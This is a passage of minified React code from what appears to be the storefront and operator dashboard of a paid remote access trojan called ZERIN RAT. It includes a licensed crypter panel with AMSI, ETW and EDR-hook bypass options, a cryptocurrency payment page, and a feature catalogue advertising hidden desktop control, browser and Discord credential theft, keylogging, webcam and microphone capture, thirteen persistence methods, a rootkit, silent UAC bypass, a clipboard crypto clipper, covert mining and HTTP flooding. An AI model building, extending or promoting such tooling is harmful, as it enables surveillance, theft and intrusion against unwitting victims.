detection",value:f,set:m},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:M,label:F,desc:R,value:W,set:$})=>s.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${W?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:W,onChange:H=>$(H.target.checked),className:"mt-0.5 accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-sm font-mono text-zerin-text",children:F}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:R})]})]},M))})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("button",{onClick:D,disabled:!r||k,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||k?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:k?"Crypting...":"Crypt"}),(k||N>0)&&s.jsxs("div",{children:[s.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${N}%`}})}),s.jsxs("div",{className:"flex justify-between mt-1",children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:N<20?"Preparing...":N<50?"Encrypting payload...":N<85?"Compiling stub...":N<100?"Finalizing...":"Complete!"}),s.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[N,"%"]})]})]}),_&&s.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:_})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Random keys per build — no shared signatures"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):s.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:s.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"px-8 py-12 text-center",children:[s.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),s.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),s.jsx(dt,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}async function vV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const gV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function yV(){const{id:e}=qo(),[t,n]=p.useState(null),[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useCallback(async()=>{if(e)try{const f=await vV(e);n(f)}catch{i("Payment not found")}},[e]);p.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";p.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?gV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),s.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs(dt,{to:"/",className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),s.jsx(dt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),s.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:s.jsx("div",{className:"w-full max-w-lg",children:r?s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),s.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),s.jsx(dt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),s.jsxs("div",{className:"flex items-center gap-2",children:[!c&&s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),s.jsxs("div",{className:"px-6 py-6 space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),s.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),s.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),s.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&s.jsxs("div",{children:[s.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),s.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&s.jsxs("div",{className:"space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),s.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:a?"Copied!":"Copy Key"}),s.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",s.jsx(dt,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&s.jsxs("div",{className:"text-center space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),s.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),s.jsx(dt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),s.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Mi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function KS(e=.15){const t=p.useRef(null),[n,r]=p.useState(!1);return p.useEffect(()=>{const i=t.current;if(!i)return;const a=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),a.disconnect())},{threshold:e});return a.observe(i),()=>a.disconnect()},[e]),{ref:t,visible:n}}const bV=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function M2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let a=0,o;for(;(o=i.exec(e))!==null;)o.index>a&&n.push(s.jsx("span",{className:t,children:e.slice(a,o.index)},r++)),n.push(s.jsx("span",{className:o[1],children:o[2]},r++)),a=i.lastIndex;return as.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${a*80}ms`:"0ms"},children:i.startsWith("$")?s.jsxs(s.Fragment,{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"ml-2",children:s.jsx(M2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):s.jsx("span",{className:"pl-4",children:s.jsx(M2,{text:i,base:"text-zerin-text-muted/60"})})},a))})]})}const jV=p.memo(function({feat:t,delay:n,visible:r}){const[i,a]=p.useState(!1);return s.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:s.jsxs("button",{onClick:()=>t.detail&&a(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[s.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&s.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),s.jsx("p",{className:"font-mono text-[12px] 